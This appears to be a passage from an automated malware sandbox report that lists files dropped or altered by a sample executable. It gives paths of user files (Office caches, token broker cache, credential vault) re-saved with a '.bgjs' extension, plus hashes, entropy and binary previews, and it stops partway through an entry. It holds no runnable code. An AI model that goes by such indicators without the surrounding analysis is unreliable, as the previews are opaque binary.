Preview:	<?xml;.~.x..(....k.v.'}.........0..bt....J.k....JR......e+k...9...@...k.0.Rs@.3c..jD....^..Q......V../.n..o..ynd.X'.IR&..9.HO.P.nfn.D.O..C...'....O..k........C...4V#{.S..f..x=.........."...{..j.q...SF.....#..A.U..E.;a..A{..i.A....XEg..?............s.2..lx.A...+....R5...B...+.~\|!.@V.:.'...b.L&.&.$".<...$.J.....bP..1..-Z.....Uh\.<6..T....\|.5C5{..Xe..n...3-.....s1....S.@.>.+...../Q....gY..?.x.'/........... .&...:.#95..9..k....rr..........T.t.kx.U.R...8...H. ...8.Q..}.?..qDA~y&.ad+"d=w....4.......y;.giC.!.l....V.+~....0.....O..R...n.P.}..t....,C..Cf6....~....!.....v....{...eO..n^...N.R(...:.l1.HDL..}c.)T.4Q.I.........YIM....Y@.QK..c......%........uo...F[3..q.f......8\|. .......c.RB#..3......S..:..@.#..........K....Z1........0`_....F.......s4.......H ^.S..9.C.....2....7..X..2...?o.(M.".xO.r.A&A...'.r .z.o..x.yDQ.;..ywp....8.k>.8z../.gC}..;...Y.Yt.L.....%......%.d...b!J....pg.S........U. .>)v.......1.....1>.....q./.^.e..$.......hS

C:\Users\user\Local Settings\Microsoft\Office\Features\1-3FeatureCache.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	7.805548990435301
Encrypted:	false
SSDEEP:	24:cop66T8NAVp8x9zy/dhOGwY3ZtNV+Wa6OxNzUlKFCWJq/SEZhcKznaGZLUbD:/p669V+xKdMheHnfOxBUlKU1hrr+D
MD5:	79CD3A79A67F9AEB9823E621D6AF87A3
SHA1:	351966E96AA317E8B01A9184FCE7535232EF6559
SHA-256:	9385A80EB33D54703B052FB2526CB5427704E841F90C4635E3F7AF0EE3666941
SHA-512:	32D6BD3BDB4447613009EEF219A2B141951A9FDD4E603010C913DE3B32EA41CDB40D504FD4F2DBDDFC03B1F4CBDEF1374E1F210420A6BFE4C4AB5B111482E6C7
Malicious:	false
Preview:	1.1.9F.S....?10.....u.V....~...\|.w.:<....D....I]....a..N.8A....'..i.~...=............2.'.8.5.g.3,....!.r...+...]b........N....vL..'~.....]=..4[.;..N\|.T<..5......s........-y.f.......b\l0..hf..gfM...-.x..B.p...h.7k.k.W...-.C@!....@P#......\|.3p....6.....ib.J\|..x.q.s...J......B..U?...e..}DM..%o...}.8.3.1V.O..T.{.A.....H.sBsKj8)..\8]...\|.fdg+sP..:..v.M..P..tx.....=.,.f.Z_5s.K....a0,..^..6..&....3.0.y3....W.H....1....+A...K.Q..Q..Q..[?..j~T..4..S.a.M..cg.... l....t.3<l%%...,.U`...t.c......f..V....mhB.U..27..WF.*.........u....b.=...&....w....E......v.........7.....;q.1.S.P.f....g..Eg,.7zT.22#..,.....l..Q.B%%.J.I...@."k....N~Q....cW..ewF...@......}.6.C+.:U.....+.u..0......(.....LP...@r."[j'......t.t...4.... q7.G..UePb.^j......2...O2"....{V.?........}]..^..g...!ya.]L...3]<.6g.".[.,.;W.\..P=f.....0oC4XN.....3.U#.'...@"ZCC...-5...#X.I.8\|..?`....3:U......d..6..,.kBT7p..0...(R....Z....u.X.l6v.Y....r...&.[.........e.......?..h..6....o....\|...Q.A..

C:\Users\user\Local Settings\Microsoft\Office\Features\1-7FeatureCache.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1170
Entropy (8bit):	7.808639352990273
Encrypted:	false
SSDEEP:	24:yduMN06juM+eCRmHQ/aS5T2ujanFj+JV51qG6N4T+IYjabD:cbVQNZa0mnMj1qGvAED
MD5:	D99B56A299E2504D52D259D9FEB0F3A2
SHA1:	7F5F7D580B3CF3818065F8C52099EB91A3DDB83E
SHA-256:	B5A4DE433472FABD50BD232208D9FB7298116DF4249D0CBC92FCBD0267327162
SHA-512:	BB4ABDE5FFE16D55C0B856A4B6EF9B5A5FD9F41D4F9FB73B7250BAE5A16A2A44CC66DC1E48BCA57763F3105CC277DA4E054858C27E39DD1E8BD15F5D14E28A68
Malicious:	false
Preview:	1.1.9..C..&'..X.@4........!."..C.....}..O`.'6R-....c...L...V"/..../;.....-.-.iT. .)w.LR.hl.R..`.3..........8.a...4.~O.r..c..X+...]uY........`.Q.=v......7~...#...8~yQ.LM\|..l.....G....N$`d".G.;...~../.\|._...X....6.t...m..yLq.8..K.u.....,I.[d...Pw..eQz2.{.....fN.t..;K...v...+...\.:......\|.dm..u-h....ciF,\agdT}.Wbr5.x.Es...J/Mf.a........pKq[..;...s...D..j...C....P..0...E.R..X@hoX..9N.40...I...L...w}A.@......U:[uoO)............6.9.4.l.>..N...4..d>.....~S.N.........5Y...1zKm.Et...[.J.,.U..b....z."..E...n#..G...^.=. ......6.Z...;..mw6..8@1;...<.^ 7\|.-.v..UT.`....w,.$.:..c........i...\97u4.l4.........E.O:d.R.....V..P...wE{.i..)...g.a.3..oB...M..r..U.5._3@..Ucw..l...}..5..P......q...nBC.1..`E.+.8GE.".k~G...Y...w....].@i...SO..c#....R.....l.v..B.nDA....`..Z.,..!\.........%...Zh....w....8k..O..I.a..;.ww[.J..-...'u...Z.M]....<......!O>..xg..W.'..+.8..:..P-^..(.!...gX.qC.....?...f..@.'gQP.........a....M...o. ..B.P.....o..Y>.j...B.X.....Cj6.Q.

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	37198
Entropy (8bit):	7.994764833259009
Encrypted:	true
SSDEEP:	768:VmRYk3I4fulEqi6cghbp2P6h4IJs1c2Wk2f32DSdqT5e:VA04fuwghbp2P9IJs2aq3EP1e
MD5:	3E3346DFE365230D322BA0A13E6EEF2A
SHA1:	FDB88A46B9B6255FE541D0F7EDB067BEB79F9532
SHA-256:	B02763BC88ADF26F1F006E115D55CE44CCC3797E8F6C3F45748A76DFFED9289F
SHA-512:	B39698CAA5EC6D502BFE21A12AF2F1054C5082178EE93B4AF15355B5D74A8A704CA43BDF491FF3105B214788455CE1A4DD4C12A9F7F83F0810FD779F916A04EF
Malicious:	true
Preview:	SQLit...].....x2.B....K...._./:...a3W...n......a6.T..DP......:B...%........"....!.%.+..zr\|..!..x..{......l..z..2..}....--{}.J.EoL........y..a.k......a.`....-...D#.p..Rs..#....8.JY.J...........#.J..<.{sK.L..!$..)[.....-D{..{^_..Bc..SK.kSs..7........%...X.'.....Ps.jd..&J.M..`9<..;a6n...U.....Q.......V.u:.pA....CS....#......X].P...;e.B..w...q.O#.l.?.r...er....p.p..+.....EU.J....n>......?......z....(.B.c.D`5.)...D.1...a.b.Gm.G....3b.{...%.'b..k=._...]&..FMk....5.%...Vk....UX>...9.....5n$.OJ..GXrH...I.5.?)j.....1...r..r........a,...)...b1R........u.;..X..3h.C..P.s...bQ........5.F.<e.........].....r...1.Y..q..j..j.a@.2........f2..i.I:_.e.,....}H7RC"...V..=?N...z37.%..2..<...4.9.........E.P.).....bz..oX.n...>.,g~P...-.[bnt:.A3..V.%.%kq..k..tS...:.:p...I/%.17#8@.....XK.6w%..>......]`e..-..+...9....2.S?)^.S....Yb.>F.i.P..a6..G....>.:...U.....8.]...X....gS1...w.....t@......i.....*G)+.....$C.g[.r...s......k..H....,}3E.E.p..sW...}........U

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.session.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	20814
Entropy (8bit):	7.990846805502805
Encrypted:	true
SSDEEP:	384:4FdyASRf0MEYu0IRnBHK0MFbYOLp1/3NWDOaRMMb/D/9SY2BU3w+1O:4Fd9SRf7DknBq04bYwD/sGMVSYwz+1O
MD5:	2E507423FB9C4E6A4C8BA3C6CB44599C
SHA1:	63C2478F16DF5BE23FA4B3844ED55B9D2A7D4766
SHA-256:	01463333F721D355F9FE17E7E9EFF88E72FE25EAA6FD60527E58CD62571771D6
SHA-512:	017CE9B354EB9033EA4A974C265692E2880476A7567A433841AC0CD407A9A339BD88E7B626D324E03B4EF1C3D490FFF0AA3B3F793D50F6CD4338F02133D465BF
Malicious:	true
Preview:	SQLit..{,B@3.......lh..D..7..6?...........Bz.......Lg../..m..H.$].....^...+.J.....".M...)O.R9HyLfgJ-z..l.L...B...\..Z.N.y.'_.s...%.v$Pl.dZ:.y.<.iC.....s....K..>.M9]..t..M.y..`............tM..x...i9.}z...O.P-......uR`wbq.A..gQ.>J.c>.n.e@YC..VoZ.....$.j...,#rk..Od..X....5...5rE.#.y....?.....w.L{k.f>>.\.%UkGx...PSh..<}.~/.....%]o...c.S($I..dm.B..'..........@...X._zGxUM.a......=.d(.....R.J.0......U.\...F5D.OqQUS5.Ob_,U.?^u...G.MA.....\8.I..k....i.cX.....V........A.c.....+..[R...&....-^..j.......Pt..#..y=%2Tb.7...C..$A.u;)'x.5........ /............R...8..O.q7.f.dS......V.l@Gk@]7EY.bl!R.l8..DI..GtkL^........xW.....-.....m.K9\...z.E(..MZ......C..Jh.q....6........K..e.\.....%.. .....q.\.m..5......Ta.ex.C...y.{.....S.=....+-..._Q^[FG\a..I..a.........y.q.c.Sl.......9C^..S^/..._..&pX.'..s..../.......`.YW.j...P.Y7.P.T...c.>y..+...o.`....j..X.v..J.\|..};~J...v..&.d....>.B#. )._.X....-..I3...:..rk<..S...0*......bc...g....{.5..../&.pI.8...^...n.Bo6..

C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993032043008768
Encrypted:	true
SSDEEP:	384:+tZwSbAgJdKZtAXsTmufTNoQC8O5GjWlT6MUyuxQ48qjvhH3HzFT6Af+Sc:+tS6JUrRbNoQVO5G01Uj8kx7ffc
MD5:	7197D0CA77D088D62C348FB36CE58A5C
SHA1:	1CB0CE92880A332219AB66C2A7998DD7918D3857
SHA-256:	766C2EBF2BA52FC7EA0EBB9D692C63D8DEC53D8122A6A9415508B9DF5152B5A1
SHA-512:	6F45EDFE3D5CF2F0FCF166165ACD99449EB3E64AAA90818C0BF2314DC74B4D7F4776989036BFED6ED431DAF84438266C27F5CE95540144F2F7423B03B4423812
Malicious:	true
Preview:	SQLit..)....{...s.#....3Sg.\r.yu.S.......Z...7.O....X....%....qk.@..d.bS......b...y.n...C..T.!o...E+.._F.......'..n.Z...S,Z.(./k/k...Z..l&....T.D....I..[<.s..}.L`...g..54,.B.."...3D^.....k.\|.o........:...nc..C.........X...xol.=.n.q.h..R.G.d...c..L.v._.R"./q..$..Ga.j.................c9B=.uHT.. .{..Cd......R/C...u.9.....F+....?.d.<5.y...@qkG.a.`.v...r........?..... ^..T6'.B.4w.w..a.(4..Bp.A.w.. ..8...`...."f.....CW....(.B.a...0..g.....4..?.H >k=..,r.RJ..8....J....`..s.i.N.E..4.E.!].x[...V.w..Z..s... 4~p.=J..Il../g5.h..I.T.._...U"..?.....J....\S..b..8.Y.../!E@.....p{ZHK...a......K..;<..jt...z+.c.Y(...t..8J..o..2./..B.7..d...Ui....Q....r..<...U.c............w~...=..D9?Q..../o.?.P.....V..j.8....0.w)......1....p....C...+..$;.\..RU.X.N\|+2....).."b=.....pV.1.z ..4...!x.`..^~.{...-CX..H..'p..p..A..T....+?+.. F:W..v ......B!....^.^n..............1$..........*.P.S.E..XE..M.6...z....w...-.[,.....;..Po.O...?......j&r.k.r..]..r!m.6

C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992531726628531
Encrypted:	true
SSDEEP:	768:8lbFcauBUhm2CV7YdbeyLmbfknhADdxI8CHmgX:8wauuhmdV7YFLGYhADCHma
MD5:	AA9BCB3E921D17324AD97239A05C80A2
SHA1:	BA10721841AE8BA76ED682FBCBC5523D108522DE
SHA-256:	AA1A6C39D3ABA0CBEC77FA9FFB8ED1C1D94DEF7A21E24FFEBDEEAB4A6BFEEA86
SHA-512:	F854EBF22B438E9475FB096F2BB8916A9BBF7AA5C233AF11C0CD50A5FCAC1DCC3FFF32798AC477DCF765E371238A13BEEA51A9A6D3B80B5C02D0C2516C2E788C
Malicious:	true
Preview:	SQLit...4.0.,.ap..9..s:.=G"5Z..K......3.fg....A..B.=o<"H%&..B...r.F.(.2....}..)..~<0..@...;.\|....Tr..R.m..co[..Sh^.....G.1_.............&2....K...y...R.C........N:,.....b......R.e..2;.'.J.\...a.Av....7a..J........9...U..."..1.`j.\..$I=k..S...TQ..I.H..G.R..h.@2.....c...Y.Q..< ...N).j.L.. .\|..-...b.jr..;.Px..5k.m.....K.....f.8(A.o.$}.......Ix...4... ...X?$.r....e......W........L....z.}6{#.......D.......S.k8.L.x,....."?....P..%..r......N....@@.......\|....M..gu..\I.........wqR.f<i.....]. ;..K7.E...PYI.D+.../....~...5.?..!...L..x_.#.t.WJ-..n......,3k...qu...<BD..-i..f2.y.....\S..5rP..8m..2I...:T_.:q.:.$.....n..P.3M..o........d....Oi..Y.'...}T.W.W..E..W..0...4....&8pb....R...J..3E.;...l...%\|.(.of.ntx.I./..eio+..y$2,.{E%..K.S.l.....\|..$i......w(OT..C.R.@..)...K..%.Gz..k...1..{...%...N....]....!......#H.sM.NR..O.<$.qs+.I{-.......J.D\z.[b.C;-..H..[....T...g.......`.\97-.....p0sE..y...P..<.[P".... +..J......c.c....u_.J.?.gfK.m.0.'..lGIX.. .U.D.a.J

C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.990670902080676
Encrypted:	true
SSDEEP:	768:w0G/qyzKtkFunrVMGNsgnsTYjlq7Ix0xf:w0PyzKtkFnXqsKe1
MD5:	F2200E5045B529CC3B50CD01C2CDB2F4
SHA1:	B84624E15809F58C25CFA393DDB87880DD0A9060
SHA-256:	01A06D2DF2B9F918970435E8900E162F37AF3083E24AA99EF10E0761001A1CF7
SHA-512:	006153FF296AC17139441F8EC713972C4234EE018871608E97A34958F67593E60362D300A6EDAF604A4DF246222FCCBC3552204ACA15E2BE9FBB16C765543E97
Malicious:	true
Preview:	SQLit...7~T&-.....]k.#J.C..@{.h.R.{...u.R.Y..WZ.$...........J......R..Q.s...9....r.9.&IT.../.zu...2.kt.;......C...{..=..........(.."}!:..Z.^.[..3.z{t1.G.NO'%V.&)Y?}..7X.j).R..tH.c......-2..}`#..4r.}.i&j(c....K..0.&.....s.....w.io2.Sz....z.u7R=..;..^.1.KT..X.i.....\|.4.?J.1.....,)5.8{`s...V..S.e{...Jh.,.>......S..F..F:..o.........d8..+.;....W.Nm...$e+...... ..D..D....S....`.....u....7.3...Y.9p..,.].. @..\....Q.7...0.]F..R..e...z..0s.....n.aI...[......qoa.".!.l...pa..m.x....>.S..jG...jQ.......d....e...$....:.d).R..]....e.L......M..=.5.D..+..u....A}..\|.(.....=..wJ.O.W..."..j..70.....9w...r-(....P0Y...bj...L...n.N..P(...OR.2.u.&+.i$...F.a..8..m.Qj;.{s\|.8.>j2unw....?4..s.t./..<&.52...9..Q.^...u...l.e.S....f...5..kh.@..,A.;.1}....-..YF....8.J.q...J..~.......<.l).r.+..2...4../.....Hn....MD=.Y}.?...)..j...D.=s..A..y.j....O...d;(.n..tj..}..95-.M.x...I.M ....TKO_.. .lm..4J.....D..H..."..t.....GGp.g.N..0.892..xl.....F..+#.nA..k`n.....

C:\Users\user\Local Settings\Microsoft\PenWorkspace\DiscoverCacheData.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1353
Entropy (8bit):	7.850612536769241
Encrypted:	false
SSDEEP:	24:YBXLJPP4WXE47ZFN6BqRdug9hNcGcAqp3Pw/11j+t89+y6qTplGkQbD:YBXdBU47ZFN6gdugNjGI+e+fD
MD5:	5CF4C59842426890F1176AACB8FE5AB5
SHA1:	03E9540889CF491C82145630EE7AA41C5F131D86
SHA-256:	A9EBC7F841059319EE03C0D591883D53109A1F45C164A7F353699BD187A8564E
SHA-512:	630A230E13DF868B22C1E8428FFEB0D46EA1DB89D26A63EADEB7659CD6932B6BF34DFAD7ABE05375A73DCF247C5398B28B56B483F66F1CC75E17A386BC6739CE
Malicious:	false
Preview:	{"Rec...m...\|......./=b...p..4q...k.<......}`d..@.%.....:_f.CW.A.M.q..\|...K6..b..../.G...rY,#]..C..l..:..v.tPn...f7.\).XK....../..a.]r....@.'fIq.@....z.S.......+.M...2T.-Lb......N`.m......@w."_i@..9O.....Z..z.......z...F...`.S.3....a..T....\...C.oi,...5&....?...r....K.t%....ko4.....0..H..z..Z...H.R..9(w.9...l...u#.`....k.v...>.....l.e..o..=.k.U6\|..}.1`.dP.}..n/=TQ....C.sK-....6..5.....;....78..a.<.\|...0....3M...Q..C..z. .Y....T.(.&.6y.e.....C..X....\|P...s..5{K..T.[..0...[..0.Z..-QX..f.V...~{)a.b`IIFe.a....bg...k..rD.y....RPv.....@..f.,S..z.Ee.@Rb:.s.....<X...fFv~)E`.....R5(...u.0g.k.z.;Z.w.).h......DO....BHW.....12..i. .! .a...y..l5.....5..5..RS..y\.......3....~..E.Bf.K....bMTi.....[8s..r.4..u..Yz...LWN..'..`v........#...t&...l....o..8.@.~..~z..u.r.......BnN..}..T&L..........dO+..U...w.#q_r.........B..\|G.(rP.a....\.r...8~...Cfmf..}.H.........P$.x.Z...i/.j..`..nU...Ze....G..u`..^.6.......Qb.ho.v.z.....'.......2jj?.0.....P7.b.i..r..5XA6X...

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.927644036103837
Encrypted:	false
SSDEEP:	48:1I/Ho07WG9RtVLAmMqVMYNmwTtdd8HtK8HKTpoD0c0ID+jgSrf74O7atERzwTkN2:1Ko0KG9RvLAmMqpNDJ4tK8HdD0c0SpSg
MD5:	A73F1656309EFAF7D629AF77EEE48C54
SHA1:	AB84C0E76629A1BC2852613E0293111AD5C6EC1E
SHA-256:	548F0B4C877AFC63EE396C19A2290D6661B75F5B0CD95E33CA8C1A1D5651863B
SHA-512:	BB888969E93A87FCFDC6C82935C1E591B27D2C00B580554BE561C123AD46C031013CB86DA97D458273547566107B793DB0A406CE034C2620B9B1140DDE145874
Malicious:	false
Preview:	{.".T..Z..V.U...!..X.}......_..w..I].0...J..,.#...o..K._.(...jY...$u....,..N72Z....g.o%.....6pW%.~..n...Y..;.....}(..,F4.)N....K1...! .W......,.kf..FHL.....m.35.w?.....[A..zA.Qgx~Z}...XMR.^..S.#-I..!.....'.I.d2..A..@d.d0......>.+..\|.N.%.6.......U.@.W.\|{..@E....E-...c._+.(!M......._.......B.x.....V.RF.yD..f.x`..u..X..R..2-..u.m.t.m.'[.....kDv..`Q....D..O.W.....!~.....7...U.;v...3\|..}gwo..........E<.{...g.je6N.i.A.(..S.....loX`h#.n..tf?7..v.....}../......`.[.pT...]h..J-..C...=..6.....Wp..4.7?..\|......(..qUo......>.....;..g..n\.E........!G..h...6.y.k.6Q...7(1.].......ay.>.\..2....r..M0L.......].y.X.B..xr9....P..9s^..?.LDh(9..~...u.....M.B.....n...*...R...Fe.K..T....../-....mA../..H..b.bw.p.~..:..p.......d\|..6.i{.\...`2[tsR >...CA........3...dp..'.....Mf......M..S~n...R.......Jy..G..r..}.N..J....L...."..C...i.%T.-orT...n,..}.z>.z;._...hz4..... .]~..Dx....l_.......B.....h.4.P..RvW..../....]..G a9.r.;..W,.S..O....^J...F>....'.+......V...

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.941200854213864
Encrypted:	false
SSDEEP:	48:u1TxsCa3oRdeq4G9Z4+qGoU/TJd0zb8t0lEijNUNgpp2XlQp/SZZE8urdV1s2D:YTxsCaQeBGz4I/TJazEI/jNGgpel2/Ss
MD5:	930A4C357CAF2E8BA6B42EB825BEAF1F
SHA1:	0BC1CD172675BDF6BC9EDC2654DC16464DF5A2BC
SHA-256:	D63618D2F35A34F498C14ECCC527D0110F15D502B1C3DDF9F52B7C670AA94040
SHA-512:	D5454763635ED97589C03844CB9054B4B3B98D1E53324A5A37070C6681DEF274279B0833A3B73E27D5AEA318EFBACF3489E4F00E8431F05A17858187FEC1BC68
Malicious:	false
Preview:	{.".T.h.<)l...b.E.l.s.. ...V..U.q^......+[.5.y.p.;..O...B.%.......~M.a;.N?4..5h.(.t.>..m......A.....T-:..F..6..Xe.,.....f.O.Of3.^;.[(N...E(..E.DOB<..!...H($y.W.R..^2>...W..3.....~...W........l.../.A.T..g../...t.r........6.3...'#?.^.......:J........mp8u...2..f.b..........yaCl..t...y3.q}.&.-g...nm[.&<.4F[.8..'....{...]6....r.....J7...>.t.x!A/.!3-.6.=c~.../AY.B..........wLp=..^J.\.H.#..o.q.A..{....aIr..2P..Y.Zb.d.."...{..w..l...< ..D....N...p..._:...(.x.i0..:' .f5>@..lu....1{,xt1k\hP..6H............!.CR'.I,z....h..C1.....2..^..!....xG6v(..1\.^..q...'...1.......0m....h.g.@J>n...iF9.,AC..uf#.h^s.^;..S.z,...<..^.z>.G........d.W..;.:..)..a..3...I......!.l.O....EF..!....7...W..?X...4....e\%.].v.v9...r...,.+....i......[ .W.p..uWS.x~.._v..Se.g.o..(Y.*..."P.7.zZ.F.Q...e..i.^...IF.I!..Pn..2$..=PbbAM............_..[^.i...l...r.+.y.2.M........95.(b......&.z.q..H...5R...YX?..".G.t.hl.._.b.....q.Z..f.y..[.$..P.{.nA.. f...vtQ.!..Y.Iz..c.}..6.If..W.]"L

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4876
Entropy (8bit):	7.964803837626623
Encrypted:	false
SSDEEP:	96:Ns41m1IDQfjOTDupo9bbyutvLbH8bdvKlANz78Q/ARVfWTK:Ns481IUHpqPLv/8hvK2NKVfz
MD5:	DDF21868849FBFE08CB6CAC5BF3E47C0
SHA1:	6F6E6BE8E9CA2E185B47B820868982EC2CEA39B3
SHA-256:	93A27AB854DBF8D03AD6893B72139408F8AD1EE13FC36614DFCC356B37C77391
SHA-512:	79088103205FC030EE7DEA9870DD8D17E43F47F227182247FB3FF2669EB1F6818E90DB25401689FB24EADC23D91285CA94A3A9C0D3B5E93F0BA69E5F11591EC6
Malicious:	false
Preview:	{.".T..L......I<....KN.mu>R...X.I.\|...z`..r. .T...g...&~.....<X.Y.............O..d.g...!{..h....D.;...5.M....1...a.z.s<.K...A./.I,...[.?.=.ZkA..8...R..U..#...(B0I..v......Y.B[v.JRPE......kd..B..V.{..$..i.@.L^.....CZ.h+..\(.....Ve..l..=Z.....:......Z.h.....9.s.".Ld[..v.3..8"..5.$..W.v...~.~.J....~H.VK..=<].G.7..1.d.....W5fPF..l4....oy..Z...+....C..wd..... ..q.m.5..s......FH.v/<bU..6.P.. ....V.\|........0.{%x...VG..B.q/...dp]7......j.D6f..5...V._I/p/...g..$'8)VN.A...L...5..a&.1.>}.ZtDH..>C-....C....%..@...K..$$7.Rt.F\|...Y[c.....(.3+.&.<1.+.......L.["..<..[!W...c........MNV7.>9M...qh...0.x3.y._...:.9..f.p...N.?O]....x+^....D.J>X.T..y...D.+...@.."..@..c0m.ZdTtX.q.0.2&Q.\|.....b........{.?.F.vv....f.sd9'..2P..W..Cf......;.x........[q.....(h.....o).O.h.x.y..]..?o.........k<j.'j.c+.z.c+...`I.Xe .~e.^.-..$o.@..L...........[......U.G.p#..k.4......*.....n......q...H=`....<..5)2....;=.....)..g..."...U.....j........'D.v..!.IQ.E2Y-..(.../

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.929553171050828
Encrypted:	false
SSDEEP:	48:GtydBgScptFPas9hpfXgDeyj9i/+VH12DzvAV5E2n8fiFD:GtydiScptVn9f/Mj9DVqzvb2nok
MD5:	B29C37DC088F8BC36ADD04D3C851CBCD
SHA1:	BE638D0A369DC64B47AEE857B3B6C30F7942A60C
SHA-256:	7E0B4D99BF09EB9DDCCC19AD7BE44DFB9A98751A168D6BCDD577BADA9673CC34
SHA-512:	C02DA20C7E4390322B37648B29D3F121149DFB5F5F064C0CEF80D30734833B8DE90DDA4982DC48F161AB8679C3E8809E02A34E825FD0416AF191E3331586ADE0
Malicious:	false
Preview:	{.".T.e.h.c...7....V.X.t@..EX.8...k.[Z.~.#p.G.GY....~..%m.......s..F.....9.GE...r.vs...:..7...I......Bh\|w.x.>Ja`(.7D[.X.....u.\|@a<.#..i....7...SJ+..20...=.u.4...Ou.\|.....`%.4...o.sZ....~..8R.bI..2......5.Y\|...wa...a..i....[.`..m}(....D..1......S....6.....&.N.#BQ..,.B.P6U......QO`gU.5........0.l./T-t..h...:>....jX.~.]...~..+\|g.3....>.#t."b..B.......A..+x..gZ>g..t1!.Q.~.X#\|Z.Q.3m."B.=r.'.,..1.'9.1..Vv...#8,.9......(E.%..C.n...+..Bh.3\|8.xS.g...k.....6Q=.%...?.8. .rN..J..6ef.(..^....r....<.6 $.v....`..........G..iXZy...\j..'v...8.....`.?.t.......n.rB...\|w..#..V..^.0.%....r~..Q.bMq8].....aXd...g..Q. 1.>..T...7....q&b..S.E......d@..F.:.@...{..'.Yu..X'i........:,6./R.0.P..f~\...R.H.FK...G.f...:...s..l.....>..`.../...vx..).#.,8n.......C.qy.CM,.......4.....R.....f.R!Q\|y...=.I...b&..]L.n." ..Z.4?..Q..9p.A.u..4~D.Si....g......f..o....G...)........c.v.........u..^..x_....._f..Uf?....+d`.z.......Z....E..[.L.......I."......BU....o.8..t@.S4..-Z

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.919213407169021
Encrypted:	false
SSDEEP:	48:KQ5WIoadn5GwkpWbbJnpxrDuHIW03T2W1v37SglmhV6B6n5sxLJD:KxIoyn5h0WbbJnXfAIXTjNLSg8OBGy9
MD5:	BA65676DF8544B088150D253FEF4A8F4
SHA1:	F4CC1E5B884752CDEA35BDC7727E2DB7495AC816
SHA-256:	D9C589A8BCC39B9680F3595C8E1D183D1BE18C803A6D217C4F3CA0AC2747913C
SHA-512:	6C4DA1190A08A71EB280C10DB961E5E5281886EEE207433E929AAEA9AA27AA3E980D527C6776EEF4B54100E2B13705B99B90AD9C22D7294A85ED8A735497075B
Malicious:	false
Preview:	{.".T....A.....]8K?/..\W..)Eq._...^.I.6d.R?..N]>..g.^.5..?>.....B22..B..D.H...R;..d.N}..\|D..@..(......94.I.1........7x.6.+...i.$....=....B..l.`O^..vg,....N@..+.GQ...7......$"..N...v..z..R....^...1......L..T..Qb.-.kc...g.....}.B6.H..j.6h...........c.@jr.p:..&.;Y..z.....Y.1u... .Q..8...u.....f..\H..Mp[.y.,l...k.th.L..z..d..1u=m).,%'...k......SV.?\t.L...b.$....\|.5k..S.C.8.e/..-..3Gw..O.s.9.b.m.+}.>.].D...^!..j....(.O...wV..+.P#...J.U.....XN...Ac..# ..e.-.%.Rx{...;...4....._.6.">T..z....3....mn..w.v.........M.1h9.H......bfM......~......G.....JWVJ..q.F]..@.q....+q..d..\|.&z...[....Q..F....s5;.\(......<...0...l.;..(..P...B8.S.......F.l.1....<3.3.C......<...?=...ld...L..[o~."......%...\.g.@..LI[0.HP..Vj..~;.LR.......B.......$W....G..JM.oA......[w.y.7.]..L..bD$.....+..}L.....0...h.R.A{..Q...F`....J.6j.......kI.]KMw=.k"....W.x~..CT........@..mB.nMx.....95...<.."..L...-.VsU....]Ge........u.e.!+5.......C....y..........}LQ.h.{..

C:\Users\user\Local Settings\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.695192169172987
Encrypted:	false
SSDEEP:	12:Z1lhmJfwFiHmuIZDJtysmp0vXzIaTw0ddll1N2lrLST7N72tpa1+cii9a:/lhmNhZIB40vjnwYP9mfSXNOLbD
MD5:	89C2428501F902ADD010368D1EFC547F
SHA1:	62F9C99F8D108913E4F06E93E88AF0E3FC5D799D
SHA-256:	ADE83937CECB9D6B017B2DC5B175D712ADBC390E78CA77308812AF32CFB24E41
